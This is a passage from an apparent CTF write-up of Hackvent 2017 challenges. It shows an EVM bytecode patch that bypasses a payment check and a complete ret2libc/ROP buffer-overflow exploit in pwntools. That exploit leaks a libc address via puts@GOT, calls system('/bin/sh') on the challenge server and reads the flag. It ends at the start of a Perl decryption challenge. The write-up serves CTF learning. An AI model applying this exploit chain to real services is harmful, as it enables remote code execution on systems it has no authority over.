00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 |...............`| CALLDATASIZE pc=00000007 gas=9999999979 cost=2 Stack: 00000000 0000000000000000000000000000000000000000000000000000000000000004 Memory: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 |...............`| ... JUMPDEST pc=00000338 gas=9999999897 cost=1 Stack: 00000000 0000000000000000000000000000000000000000000000000000000073637279 Memory: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 |...............`| STOP pc=00000339 gas=9999999896 cost=0 Stack: 00000000 0000000000000000000000000000000000000000000000000000000073637279 Memory: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 |...............`| #### LOGS #### 0x
Hm, doesn’t look like a decryption key. Something must go wrong here.
Because I had some trouble running the bytecode I analyzed it a little bit in order to roughly understand what it is doing. On the wallet’s main page shown above the bytecode can also be displayed as assembler instructions (Switch To Opcodes View
). When I analyzed the instructions the following section looked suspicious:
... PUSH7 0x2386f26fc10000 CALLVALUE LT PUSH2 0x0152 JUMPI ...
The meaning of the instructions can be looked up here: https://ethereum.github.io/yellowpaper/paper.pdf (page 23 ff).
The first instruction pushes the value 0x2386f26fc10000
on the stack. The instruction CALLVALUE
is defined as the following: Get deposited value by the instruction/transaction responsible for this execution. Thus it puts the deposited value on the stack which is then compared to the formerly pushed value by the third instruction: LT
. If the callvalue is less than 0x2386f26fc10000
the following JUMPI
to 0x0512
is taken.
These instructions can also be found in the output of evm
(the memory is cut from the output):
... PUSH7 pc=00000065 gas=9999999918 cost=3 Stack: 00000000 0000000000000000000000000000000000000000000000000000000073637279 CALLVALUE pc=00000073 gas=9999999915 cost=2 Stack: 00000000 000000000000000000000000000000000000000000000000002386f26fc10000 00000001 0000000000000000000000000000000000000000000000000000000073637279 LT pc=00000074 gas=9999999913 cost=3 Stack: 00000000 0000000000000000000000000000000000000000000000000000000000000000 00000001 000000000000000000000000000000000000000000000000002386f26fc10000 00000002 0000000000000000000000000000000000000000000000000000000073637279 PUSH2 pc=00000075 gas=9999999910 cost=3 Stack: 00000000 0000000000000000000000000000000000000000000000000000000000000001 00000001 0000000000000000000000000000000000000000000000000000000073637279 JUMPI pc=00000078 gas=9999999907 cost=10 Stack: 00000000 0000000000000000000000000000000000000000000000000000000000000152 00000001 0000000000000000000000000000000000000000000000000000000000000001 00000002 0000000000000000000000000000000000000000000000000000000073637279 JUMPDEST pc=00000338 gas=9999999897 cost=1 Stack: 00000000 0000000000000000000000000000000000000000000000000000000073637279
The relevant parts are highlighted. The CALLVALUE
instruction pushes 0
on the stack (line 13). Thus the less-than-comparison results in true = 1
(line 19). Because of that the JUMPI
is taken and the pc proceeds at 338 = 0x152
(line 28).
Let’s patch the bytecode in order to prevent the jump from being taken. A quite easy way is just to adjust the value pushed on the stack. I changed it from 0x2386f26fc10000
to 0x00000000000000
. By doing so, the less-than-comparison result in false = 0
and the jump is not taken.
user@host:~$ tail -c 850 bytecode.txt | head -c 100 00000600035041663ea8796348114610154575b662386f26fc100003410610152577fec29ee18c83562d4f2e0ce62e388297 user@host:~$ tail -c 850 bytecode_patched.txt | head -c 100 00000600035041663ea8796348114610154575b66000000000000003410610152577fec29ee18c83562d4f2e0ce62e388297
Rerun evm
with the patched bytecode:
user@host:~$ ./evm --input 7363727968 --debug --codefile bytecode_patched.txt run #### TRACE #### PUSH1 pc=00000000 gas=10000000000 cost=3 PUSH1 pc=00000002 gas=9999999997 cost=3 Stack: 00000000 0000000000000000000000000000000000000000000000000000000000000060 MSTORE pc=00000004 gas=9999999994 cost=12 Stack: 00000000 0000000000000000000000000000000000000000000000000000000000000040 00000001 0000000000000000000000000000000000000000000000000000000000000060 Memory: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| ... STOP pc=00000339 gas=9999997036 cost=0 Stack: 00000000 0000000000000000000000000000000000000000000000000000000073637279 Memory: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 |...............`| 00000060 23 10 9b 1a 4c 08 bd 64 c3 41 10 39 54 06 e5 f4 |#...L..d.A.9T...| 00000070 dc 8e 1b fd 87 3e f3 98 2a 23 b7 83 55 03 25 b2 |.....>..*#..U.%.| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 |...............@| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 |................| 000000c0 59 6f 75 72 20 6b 65 79 20 69 73 20 68 65 72 65 |Your key is here| 000000d0 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| #### LOGS #### LOG1: 0000000000000000000000007265636569766572 bn=0 txi=0 00000000 ec29ee18c83562d4f2e0ce62e38829741c2901da844c015385a94d8c9f03d486 00000000 23 10 9b 1a 4c 08 bd 64 c3 41 10 39 54 06 e5 f4 |#...L..d.A.9T...| 00000010 dc 8e 1b fd 87 3e f3 98 2a 23 b7 83 55 03 25 b2 |.....>..*#..U.%.| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 |...............@| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 |................| 00000060 59 6f 75 72 20 6b 65 79 20 69 73 20 68 65 72 65 |Your key is here| 00000070 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Here we go!
My decryption key is 23109b1a4c08bd64c34110395406e5f4dc8e1bfd873ef3982a23b783550325b2
.
Day 21: tamagotchi
|
Author: muffinX ohai fuud or gtfo |
ohai
I’m a little tamagotchi who wants fuuuuud, pls don’t giveh me too much or I’ll crash… nc challenges.hackvent.hacking-lab.com 31337 |
Let’s start by checking out what the tamagotchi does:
user@host:~$ chmod 755 tamagotchi user@host:~$ ./tamagotchi °º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸ °º¤ø,¸¸,ø¤º° TAMAGOTCHI ¸¸,ø¤º°`°º¤ø,¸ °º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸ __O__ .' '. .' '. . _________ . : | .-. | : : | ( - ) | : - ohai! pls food! : | " " | : : |_________| : | | ' O O ' ', O ,' '....... | simple challenge by muffinx (twitter.com/muffiniks) [MENU] 1.) eat 2.) bye [ch01c3]> 1 [f00d]> foooood [+] nom nom nom [ch01c3]> 2 [+] bye bye
So the menu offers two functions:
1) eat
–> another prompt appears for food to enter
–> after entering some food, the tamagotchi eats our input (nom nom nom
)
2) bye
–> just quit the program
According to the challenge description the tamagotchi should not get too much food or it’ll crash. Thus it’s quite obvious that there exists some kind of overflow vulnerability. Let’s have a look using radare2
:
user@host:~$ r2 tamagotchi [0x00400500]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Emulate code to find computed references (aae) [x] Analyze consecutive function (aat) [aav: using from to 0x400000 0x4021e8 Using vmin 0x400000 and vmax 0x601058 aav: using from to 0x400000 0x4021e8 Using vmin 0x400000 and vmax 0x601058 [x] Analyze value pointers (aav) [can't find function prototype for sym.show_titlem.func.* functions (aan) can't find function prototype for sym.show_menu can't find function prototype for sym._init can't find function prototype for sub.__gmon_start___248_4f0 Deinitialized mem.0x100000_0xf0000 [x] Type matching analysis for all functions [x] Type matching analysis for all functions 0x0 ... [0x00400500]> afl 0x00400478 3 26 sym._init 0x004004b0 2 16 -> 32 sym.imp.puts 0x004004c0 2 16 -> 48 sym.imp.__libc_start_main 0x004004d0 2 16 -> 48 sym.imp.fgets 0x004004e0 2 16 -> 48 sym.imp.atoi 0x004004f0 1 16 sub.__gmon_start___248_4f0 0x00400500 1 41 entry0 0x00400530 4 50 -> 41 sym.deregister_tm_clones 0x00400570 3 53 sym.register_tm_clones 0x004005b0 3 28 sym.__do_global_dtors_aux 0x004005d0 4 38 -> 35 sym.frame_dummy 0x004005f6 1 176 sym.show_title 0x004006a6 1 36 sym.show_menu 0x004006ca 8 212 sym.main 0x004007a0 4 101 sym.__libc_csu_init 0x00400810 1 2 sym.__libc_csu_fini 0x00400814 1 9 sym._fini [0x00400500]> pdf @ sym.main ;-- main: / (fcn) sym.main 212 | sym.main (); | ; var int local_4d0h @ rbp-0x4d0 | ; var int local_d0h @ rbp-0xd0 | ; var int local_8h @ rbp-0x8 | ; var int local_4h @ rbp-0x4 | ; DATA XREF from 0x0040051d (entry0) | 0x004006ca 55 push rbp | 0x004006cb 4889e5 mov rbp, rsp | 0x004006ce 4881ecd00400. sub rsp, 0x4d0 | 0x004006d5 c745fc010000. mov dword [rbp - local_4h], 1 | 0x004006dc c745f8000000. mov dword [rbp - local_8h], 0 | 0x004006e3 b800000000 mov eax, 0 | 0x004006e8 e809ffffff call sym.show_title | 0x004006ed b800000000 mov eax, 0 | 0x004006f2 e8afffffff call sym.show_menu | ,=< 0x004006f7 e996000000 jmp 0x400792 | .--> 0x004006fc bf630a4000 mov edi, str._ch01c3__ ; "[ch01c3]> " @ 0x400a63 ; const char * s | || 0x00400701 e8aafdffff call sym.imp.puts ; int puts(const char *s); | || 0x00400706 488b153b0920. mov rdx, qword [obj.stdin] ; [0x601048:8]=0x654428203a434347 rdx LEA loc.stdin ; ... | || 0x0040070d 488d8530fbff. lea rax, qword [rbp - local_4d0h] | || 0x00400714 be00040000 mov esi, 0x400 ; int size | || 0x00400719 4889c7 mov rdi, rax ; char *s | || 0x0040071c e8affdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream); | || 0x00400721 488d8530fbff. lea rax, qword [rbp - local_4d0h] | || 0x00400728 4889c7 mov rdi, rax ; const char * str | || 0x0040072b b800000000 mov eax, 0 | || 0x00400730 e8abfdffff call sym.imp.atoi ; int atoi(const char *str); | || 0x00400735 8945f8 mov dword [rbp - local_8h], eax | || 0x00400738 837df801 cmp dword [rbp - local_8h], 1 ; [0x1:4]=0x2464c45 | ,===< 0x0040073c 7531 jne 0x40076f | ||| 0x0040073e bf6e0a4000 mov edi, str._f00d__ ; "[f00d]> " @ 0x400a6e | ||| 0x00400743 e868fdffff call sym.imp.puts ; int puts(const char *s); | ||| 0x00400748 488b15f90820. mov rdx, qword [obj.stdin] ; [0x601048:8]=0x654428203a434347 rdx LEA loc.stdin ; ... | ||| 0x0040074f 488d8530ffff. lea rax, qword [rbp - local_d0h] | ||| 0x00400756 be00040000 mov esi, 0x400 | ||| 0x0040075b 4889c7 mov rdi, rax | ||| 0x0040075e e86dfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream); | ||| 0x00400763 bf770a4000 mov edi, str.____nom_nom_nom ; "[+] nom nom nom " @ 0x400a77 | ||| 0x00400768 e843fdffff call sym.imp.puts ; int puts(const char *s); | ,====< 0x0040076d eb23 jmp 0x400792 | |`---> 0x0040076f 837df802 cmp dword [rbp - local_8h], 2 ; [0x2:4]=0x102464c | |,===< 0x00400773 7513 jne 0x400788 | |||| 0x00400775 bf880a4000 mov edi, str.____bye_bye ; "[+] bye bye" @ 0x400a88 | |||| 0x0040077a e831fdffff call sym.imp.puts ; int puts(const char *s); | |||| 0x0040077f c745fc000000. mov dword [rbp - local_4h], 0 | ,=====< 0x00400786 eb0a jmp 0x400792 | ||`---> 0x00400788 bf940a4000 mov edi, str.____nope_ ; "[-] nope!" @ 0x400a94 ; const char * s | || || 0x0040078d e81efdffff call sym.imp.puts ; int puts(const char *s); | || || ; JMP XREF from 0x004006f7 (sym.main) | || || ; JMP XREF from 0x00400786 (sym.main) | || || ; JMP XREF from 0x0040076d (sym.main) | ``--`-> 0x00400792 837dfc00 cmp dword [rbp - local_4h], 0 | `==< 0x00400796 0f8560ffffff jne 0x4006fc | 0x0040079c c9 leave \ 0x0040079d c3 ret [0x00400500]>
The relevant parts are highlighted:
The first call to fgets
(line 65) will succeed without any errors. The maximum size to read passed to fgets
is 0x400
(esi
at 0x00400714
on line 63) and the buffer used is also 0x400
bytes long ([rbp - local_4d0h]
). No overflow here.
The second call to fgets
(line 79) right after the prompt for food (puts
on line 74) also passes a maximum size of 0x400
bytes (esi
at 0x00400756
on line 77). But this time the used buffer ([rbp - local_d0h]
) is not 0x400
bytes long! As we can see at the top where the local variables are declared the next variable after [rbp - local_d0h]
is [rbp - local_8h]
(lines 45-46). This means that the buffer used is only 0xd0 - 0x8 = 0xc8 = 200
bytes long! If we feed more food to the tamagotchi we can cause a bufferoverflow and overwrite the return-address on the stack.
Before doing this we need some additional information. The kind of exploit we will use depends on the security mechanisms that are enabled. In radare2
we can use the command iI
to get detailed information about the current file:
[0x00400500]> iI type EXEC (Executable file) file tamagotchi fd 6 size 0x21e8 iorw false blksz 0x0 mode -r-- block 0x100 format elf64 havecode true pic false canary false nx true crypto false va true intrp /lib64/ld-linux-x86-64.so.2 bintype elf class ELF64 lang c arch x86 bits 64 machine AMD x86-64 architecture os linux minopsz 1 maxopsz 16 pcalign 0 subsys linux endian little stripped false static false linenum true lsyms true relocs true rpath NONE binsz 6696
Along with other information we can see that NX
is enabled. This means that memory regions like the stack are marked as non-executable. In a simple bufferoverflow exploit we would put some shellcode within our injected buffer and than make the return address point to that shellcode. With NX
enabled the CPU wouldn’t execute our shellcode because it resides in a memory region marked as non-executable. Thus this kind of exploit fails.
In order to exploit the bufferoverflow anyway we can use a technique called return to libc. This technique takes advantage of the fact, that nearly all programs make use of libraries like the standard c library libc. Libraries used by the program are mapped to the memory space of the program. These memory regions must be executed and thus cannot be marked as non-executable. If we find a function or part of a function in a library we could use, we can just set the return address to this address instead of a self injected shellcode. As we usually want to get a shell the libc-function system(const char *cmd)
with the argument "/bin/sh"
will do.
Ok, let’s get to work and start by identifying the offset to the return address we want to overwrite. We can do this by creating a pattern with metasploit and feed this pattern to the tamagotchi. When the next return instruction is reached, the return address has been overwritten with our pattern and we can see at which position of the pattern the return address is. This way we can calculate the offset.
Another thing to notice here (see radare2 disassembly above): the return instruction at 0x0040079d
is only reached, when we leave the program. Thus we have to feed the tamagotchi and then chose 2
(bye
) in the menu in order to reach the return instruction.
Let’s create a pattern (our buffer is 200 bytes long, so 250 bytes should suffice):
user@host:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 250 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7 ... Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
Now I used gdb
to feed the tamagotchi and inspect the return address:
user@host:~$ gdb tamagotchi GNU gdb (Debian 7.12-6) 7.12.0.20161007-git Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from tamagotchi...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x00000000004006ca <+0>: push rbp 0x00000000004006cb <+1>: mov rbp,rsp 0x00000000004006ce <+4>: sub rsp,0x4d0 ... 0x000000000040078d <+195>: call 0x4004b0 0x0000000000400792 <+200>: cmp DWORD PTR [rbp-0x4],0x0 0x0000000000400796 <+204>: jne 0x4006fc 0x000000000040079c <+210>: leave 0x000000000040079d <+211>: ret End of assembler dump. gdb) b *main+211 Breakpoint 1 at 0x40079d
I started gdb
with the binary, set my favorite disassembly-layout (intel), disassembled the main-function and then set a breakpoint to the return-instruction at main+211
.
Now we can run the program and feed the tamagotchi with our pattern:
gdb) r Starting program: /root/Downloads/tamagotchi °º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸ °º¤ø,¸¸,ø¤º° TAMAGOTCHI ¸¸,ø¤º°`°º¤ø,¸ °º¤ø,¸¸,ø¤º°`°º¤ø,¸,ø¤°º¤ø,¸¸,ø¤º°`°º¤ø,¸ __O__ .' '. .' '. . _________ . : | .-. | : : | ( - ) | : - ohai! pls food! : | " " | : : |_________| : | | ' O O ' ', O ,' '....... | simple challenge by muffinx (twitter.com/muffiniks) [MENU] 1.) eat 2.) bye [ch01c3]> 1 [f00d]> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7 ... Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A [+] nom nom nom [ch01c3]> 2 [+] bye bye Breakpoint 1, 0x000000000040079d in main () (gdb) x/xg $rsp 0x7fffffffe1c8: 0x6841336841326841 (gdb)
When the breakpoint right at the return instruction is reached I printed the top of the stack using x/xg $rsp
. The first value on the stack is 0x6841336841326841
. This is the return address we have overwritten. Now we only have to calculate the offset:
user@host:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 250 -q 6841336841326841 [*] Exact match at offset 216
There it is. Now we know where to put the return address. But what return address should we put there?
Because we have the libc-library which is used on the server (see File #2: libc-2.26.so) we can calculate the offset the functions within the library.
From now on I used pwntools
for python. In order to install pwntools
on kali-linux
enter the following commands:
user@host:~$ apt-get update user@host:~$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential user@host:~$ pip install --upgrade pip user@host:~$ pip install --upgrade pwntools
After this we can use pwntools
which is very handy for tasks like this.
At first we calculate the offset of the final function we want to call: system
. Also we want to pass the function the string "/bin/sh"
. Luckily this string resides within the libc and we can also find it using pwntools
:
#!/usr/bin/python from pwn import * libc = ELF('libc-2.26.so') binsh_offset = libc.search('/bin/sh').next() system_offset = libc.symbols["system"] print("binsh_offset: " + hex(binsh_offset)) print("system_offset: " + hex(system_offset)
Running the script reveals the offsets:
user@host:~$ ./pwn.py [*] '/root/Downloads/libc-2.26.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled binsh_offset: 0x1a3ee0 system_offset: 0x47dc0
Now we have got the offset to the target function and the string we want to pass. What else is missing? The actual address in the memory address of the program. Because a library is not always mapped to the same memory region we need to know the base address of the libc mapped to the program’s memory space.
If we have the absolute address of only one function within the libc we could look up its offset and subtract this from the absolute address resulting in the base address of the libc.
We will use the function puts
which is already used by the program. Because of that the absolute address of the function will be in the Global Offset Table (GOT)
. If we call puts
with the address of the puts
GOT-entry the absolute address of the function will be printed. More on PLT/GOT is explained here: https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html.
We can yet again use radare2
to get the necessary addresses:
[0x00400500]> pdf @ sym.imp.puts / (fcn) sym.imp.puts 32 | sym.imp.puts (); | | ; XREFS: CALL 0x00400701 CALL 0x0040078d CALL 0x0040077a CALL 0x00400743 CALL 0x00400768 CALL 0x004005ff CALL 0x00400609 | | ; XREFS: CALL 0x00400613 CALL 0x0040061d CALL 0x00400627 CALL 0x00400631 CALL 0x0040063b CALL 0x00400645 CALL 0x0040064f | | ; XREFS: CALL 0x00400659 CALL 0x00400663 CALL 0x0040066d CALL 0x00400677 CALL 0x00400681 CALL 0x0040068b CALL 0x00400695 | | ; XREFS: CALL 0x0040069f CALL 0x004006af CALL 0x004006b9 CALL 0x004006c3 | | 0x004004b0 ff25620b2000 jmp qword [reloc.puts_24] ; [0x601018:8]=0x4004b6 LEA reloc.puts_24 ; reloc.puts_24 | | 0x004004b6 6800000000 push 0 \ `=< 0x004004bb e9e0ffffff jmp 0x4004a0
The puts
GOT address is 0x601018
and the PLT address 0x4004b0
.
There is yet another point to notice: with x86 on 32bit the function argument to libc functions were passed directly on the stack. Thus we would just have to push the address of the string "/bin/sh"
on the stack. With x86_64 on 64bit the function argument is passed in the register rdi
. This means that we have to put the address of the string "/bin/sh"
in the register rdi
. How could this be done? At this point we need return oriented programing (rop)
: we search for useful assembler-instructions in a library, which is loaded in the memory space of the target program (e.g libc) and end with a return instruction. These useful assembler-instructions ending with a return instruction are called rop gadgets
. We can make use of them by pushing two addresses on the stack: (1) the address of the rop-gadget and (2) the address of where we want to proceed after the execution of the rop-gadget. The CPU will first pop the address of rop-gadget and then execute the instructions of the rop-gadget until reaching the return instruction. At this point the second address we pushed on the stack will be popped and the execution proceeds at the address of our desire.
By finding a rop-gadget which will pop rdi
and then return we can easily put the address of the string "/bin/sh"
from the stack to the rdi
register.
A rop-gadget can be found using ropper
(https://github.com/sashs/Ropper):
user@host:~$ ropper --file tamagotchi --search "% ?di" [INFO] Load gadgets for section: PHDR [LOAD] loading... 100% [INFO] Load gadgets for section: LOAD [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: % ?di [INFO] File: tamagotchi 0x0000000000400695: call 0x4b0; mov edi, 0x4008b7; call 0x4b0; pop rbp; ret; 0x00000000004006b9: call 0x4b0; mov edi, 0x400a5b; call 0x4b0; pop rbp; ret; 0x000000000040069a: mov edi, 0x4008b7; call 0x4b0; pop rbp; ret; 0x00000000004006be: mov edi, 0x400a5b; call 0x4b0; pop rbp; ret; 0x0000000000400550: mov edi, 0x601048; jmp rax; 0x00000000004006b6: or al, byte ptr [rax]; call 0x4b0; mov edi, 0x400a5b; call 0x4b0; pop rbp; ret; 0x0000000000400692: or dword ptr [rax], eax; call 0x4b0; mov edi, 0x4008b7; call 0x4b0; pop rbp; ret; 0x000000000040054f: pop rbp; mov edi, 0x601048; jmp rax; 0x0000000000400803: pop rdi; ret;
Great! At 0x400803
in the tamagotchi binary there is a rop-gadget of our needs.
Adjusted python-script (Stage1):
#!/usr/bin/python libc = ELF('libc-2.26.so') binsh_offset = libc.search('/bin/sh').next() system_offset = libc.symbols["system"] puts_offset = libc.symbols["puts"] print("binsh_offset: " + hex(binsh_offset)) print("system_offset: " + hex(system_offset)) print("puts_offset: " + hex(puts_offset)) p = remote("challenges.hackvent.hacking-lab.com", 31337) ####### STAGE 1 ####### p.recvuntil("ch01c3]>") p.sendline("1") p.recvuntil("f00d]>") expl = "A" * 216 expl += p64(0x400803) # rop-chain: pop rdi; ret; expl += p64(0x601018) # puts@got expl += p64(0x4004b0) # call puts expl += p64(0x004006ca) # address of sym.main p.sendline(expl) p.recvuntil("ch01c3]>") p.sendline("2") p.recvuntil("bye bye") p.recv(1) puts_addr = int(p.recv(6)[::-1].encode('hex'), 16) print("puts addr: ["+hex(puts_addr)+"]") libc_base = puts_addr - puts_offset print("libc base: [" + hex(libc_base)+"]")
Running the script:
user@host:~$ ./pwn2.py [*] '/user/libc-2.26.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled binsh_offset: 0x1a3ee0 system_offset: 0x47dc0 puts_offset: 0x78460 [+] Opening connection to challenges.hackvent.hacking-lab.com on port 31337: Done puts addr: [0x7f1b3859d460] libc base: [0x7f1b38525000] [*] Closed connection to challenges.hackvent.hacking-lab.com port 31337
So now we have got the base address of the libc, we can easily calculate the absolute address of the system function and the argument string "/bin/sh"
:
... system_addr = libc_base + system_offset print("system addr: [" + hex(system_addr)+"]") binsh_addr = libc_base + binsh_offset print("binsh addr: [" + hex(binsh_addr)+"]")
Rerunning the script gives us the absolute addresses:
... system addr: [0x7f8fdaed3dc0] binsh addr: [0x7f8fdb02fee0] ...
Now we can proceed to stage2. The last address we put on the stack in stage1 was the address of sym.main
. Thus after we chose 2
(bye bye
) the program does not terminate, but rather starts again at the beginning. This is important because if we leaked the libc base address and then reconnect to the server, the program is started again and the base address is not the same again (ASLR). By returning to the address of sym.main
we can just proceed like in stage1:
... ####### STAGE 2 ####### p.recvuntil("ch01c3]>") p.sendline("1") p.recvuntil("f00d]>") expl = "A" * 216 expl += p64(0x400803) # rop-chain: pop rdi; ret; expl += p64(binsh_addr) # binsh address expl += p64(system_addr) # system address p.sendline(expl) p.recvuntil("ch01c3]>") p.sendline("2") p.interactive()
It’s basically the same like in stage1. Only the payload differs. At first we put (yet again) our rop-chain on the stack. Then the argument which should be popped to edi
. And then our final function-address: the formerly calculated absolute address of system. After sending the payload we chose 2
(bye bye
) again in order to let the return instruction make our call to the system
function. The method interactive()
redirects stdin
to our keyboard input and we can interact with the program ourself.
Running the final script:
user@host:~$ ./pwn3.py [*] '/user/libc-2.26.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled binsh_offset: 0x1a3ee0 system_offset: 0x47dc0 puts_offset: 0x78460 [+] Opening connection to challenges.hackvent.hacking-lab.com on port 31337: Done puts addr: [0x7f8fdaf04460] libc base: [0x7f8fdae8c000] system addr: [0x7f8fdaed3dc0] binsh addr: [0x7f8fdb02fee0] [*] Switching to interactive mode [+] bye bye $ whoami tamagotchi $ find . -name "flag" ./home/tamagotchi/flag $ cat /home/tamagotchi/flag HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d $ exit [*] Got EOF while reading in interactive
Done =)
The flag is HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d
.
Final python-script:
#!/usr/bin/python from pwn import * libc = ELF('libc-2.26.so') binsh_offset = libc.search('/bin/sh').next() system_offset = libc.symbols["system"] puts_offset = libc.symbols["puts"] print("binsh_offset: " + hex(binsh_offset)) print("system_offset: " + hex(system_offset)) print("puts_offset: " + hex(puts_offset)) p = remote("challenges.hackvent.hacking-lab.com", 31337) ####### STAGE 1 ####### p.recvuntil("ch01c3]>") p.sendline("1") p.recvuntil("f00d]>") expl = "A" * 216 expl += p64(0x400803) # rop-chain: pop rdi; ret; expl += p64(0x601018) # puts@got expl += p64(0x4004b0) # call puts expl += p64(0x004006ca) # address of sym.main p.sendline(expl) p.recvuntil("ch01c3]>") p.sendline("2") p.recvuntil("bye bye") p.recv(1) puts_addr = int(p.recv(6)[::-1].encode('hex'), 16) print("puts addr: ["+hex(puts_addr)+"]") libc_base = puts_addr - puts_offset print("libc base: [" + hex(libc_base)+"]") system_addr = libc_base + system_offset print("system addr: [" + hex(system_addr)+"]") binsh_addr = libc_base + binsh_offset print("binsh addr: [" + hex(binsh_addr)+"]") ####### STAGE 2 ####### p.recvuntil("ch01c3]>") p.sendline("1") p.recvuntil("f00d]>") expl = "A" * 216 expl += p64(0x400803) # rop-chain: pop rdi; ret; expl += p64(binsh_addr) # binsh address expl += p64(system_addr) # system address p.sendline(expl) p.recvuntil("ch01c3]>") p.sendline("2") p.interactive()
Day 23: only perl can parse Perl
|
Author: M. … but there is always one more way to approach things! |
get your flag here…
(in doubt, use perl5.10+ on *nix) |
Let’s have a look at the provided perl-file:
user@host:~$ cat onlyperl.pl 4;q;$,=q����MC��|���L�^M��M��L�D�l�G�A�]N�K]N��l��L�D�l�... ...
A little bit more non-ASCII than I hoped for 😉
When running the script with perl a password is prompted:
user@host:~$ perl onlyperl.pl Password: test L�82��wbpn�1�o\� �ybh���s�pi ���v?H� �yUzp��l�{�$�lm���rUw\��T�yg����g�vn��wU�`���$�o`��s�z�i�li����{U6p��m�6�� Decryption done, are you happy now?
Yet again binary data. I wrote a little shell-script to extract the data in order to test different passwords:
#!/bin/bash echo "test" > inp perl onlyperl.pl < inp > out dd if=out of=out_new bs=1 skip=10 count=145
Running the script:
